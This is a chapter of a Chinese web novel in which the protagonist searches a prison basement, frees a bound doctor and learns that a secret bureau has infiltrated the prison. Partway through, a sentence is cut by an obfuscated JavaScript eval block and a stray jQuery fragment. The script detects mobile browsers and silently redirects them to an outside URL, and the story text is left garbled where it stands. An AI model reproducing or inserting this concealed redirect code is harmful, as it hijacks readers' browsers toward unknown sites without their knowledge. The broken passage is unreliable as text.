6. 调查(第2页)

    她顺着楼梯缓缓走下,幽幽的灯火跳跃着,像是某种鬼火。

    地下室的温度相比地面更低,空气静静凝滞在那,让她的神经紧绷更加清醒。

    “咚!”

    有什么东西撞击到墙面的声音,步眠定睛一看,是一个硕大的尿素袋,它不停的扭动撞击着,像是在欢迎步眠的到来。

    四周很空旷,黑漆漆的见不到尽头,墙壁上似乎有什么凹凸不平的字句。

    她越过跳动的布袋,点点灯火照耀在墙壁上,露出上面的字来。

    【若你变成琥珀,我愿为无尽的土地,埋藏你的喜怒哀乐,轻柔的接住你。】

    十分无厘头的诗句。

    步眠往旁边看了看,四周密密麻麻的文字落在墙面上,文字有深有浅,应当是不同时期刻下的。

    文字交叠,像是被模糊的水墨,步眠仔细分辨,才发现另一首完整的诗句。

    【敬爱的世界,我如游鱼穿梭,落下的眼泪终于成了绕不尽的丝线,我终于死在了我最爱的琥珀中。】

    这两句诗句似乎是相同的,步眠似乎看见,一个人踮起脚尖雕刻着这些句子。

    她想起了她的前室友,舒楠,她也喜欢在墙壁上用刀子刻那些字。

    不知道是不是她的错觉,自从阮意竹走进了这个监狱开始,一切都变得扑朔迷离起来。

    不同的是,舒楠写下的字模糊,似乎是某种经过处理的字迹,步眠好奇的时候会去墙面上去

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468455|169863||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    看她写了什么,但是什么都分辨不出来,步眠甚至怀疑对方在瞎写,但她又藏着一个写满了古往今来诗词的小盒子。

    咚,咚!

    麻袋里的东西撞击的声音愈来愈响,里面的东西迫不及待的想要吸引步眠的注意力。

    她放弃了那面墙,看着不停挪动的东西。

    步眠莫名想到劳务室那些扭动的液体,心有余悸的捏了捏眉心,一时间居然不敢轻举妄动。

    “救,命……”微弱的人声传来,确认了对方的身份后,步眠立刻解开了那硕大的袋子,露出了一个头发乱糟糟的金发男人。

    他口腔中还抵着一半的袜子,步眠低下头,果不其然看见了对方少了一只袜子的脚,另一只脚裸露在空气中,呈现出充血后的通红。

    “你是,西纳德?”

    借着微弱的灯火,步眠认出了他是谁。

    那是医务室原来的医生。

    西纳德眼泪从眼底迸出,见到步眠仿若见到了亲人般热泪盈眶的,面色涨红,似乎很想说话。

    但那袜子塞在他的嘴里,只能让他说出含糊不清的话语,“唔唔我唔唔是!你唔唔……”

    虽然对方的话语声情并茂,但很显然,步眠一个字都没有听清,“先说好,我把你嘴里的东西扯出来,但是你要安静,可以吗?”

    虽然西纳德看起来了很可怜,但如果对方张嘴就是救命,那就很可怕了,步眠偷偷潜入当然不想暴露。

    西纳德之顿了一下,忙不迭点头,眼底写满了热切。

    她扯下了对方的袜子,西纳德终于说出了一句完整的话语,“你也是管理局的人是吗,那我们是自己人啊!”

    “管理局?”

    “就是那个阮意竹啊,你和她不是一起的吗,你应该就是那个营养液中毒的吧,唉,我都在这里潜伏很久了,你们和我说一声就好了,都是好同事,还专门犯罪整的那么曲折干什么……”

    他一番话说的絮絮叨叨,在不经意间,透露给了步眠不少的信息。

    第一,阮意竹有同伙,第二,西纳德和阮意竹是同事,第三,监狱早就被这些人混进来了。

    难怪,难怪西纳德不管遇见什么只会开治愈药剂,即使在发现治愈药剂没有用处也依旧会开那些药剂。

    也是为什么,他总是不和人交涉,因为他根本就不是正规的医生。

    他们来自管理局。

    管理局的人为什么会来监狱,不对,岚观用于管理的只有居民会和治安局,管理局是什么东西?

    步眠的表情在一瞬间变了又变,她猜到阮意竹可能会有些问题,但她没想到会挖出这么多的东西,这显然超过了她的预期。

    来监狱,对那些管理局的人,有什么好处吗?

    西纳德逼逼赖赖了一堆,从怀才不遇到被关的苦难,再到饥饿之感,滔滔不绝。

    他看着步眠哭的稀里哗啦的,“我真的要被饿死了,你说你关就关,就不能来看看我吗,我是可以进魇,但我手上又没有梵印,我会被活活饿死的啊!”

    “魇和梵印是什么?”

    简短的一句话,让西纳德停止了所有的话语,蓝色的灯火落在步眠的脸颊上,让她的表情看起来阴暗又窒息。

    尤其是对方笑眯眯,目光如刀看向自己的时,西纳德觉得,自己好像被那双眼用刀子凌迟了。

    “……”他震惊的看着步眠,从喉咙中挤出干涩的话语,像是被掐住嗓子的公鸡一样,“你不知道吗,你不是管理局的?”

    步眠的大脑在一瞬间就识别到了危险,在西纳德后退的瞬间,抄起放在墙面上的棍子就打向对方的后脑勺,但是西纳德的声音更快,用尽了自己的毕生力气,“救命啊,杀人了!!”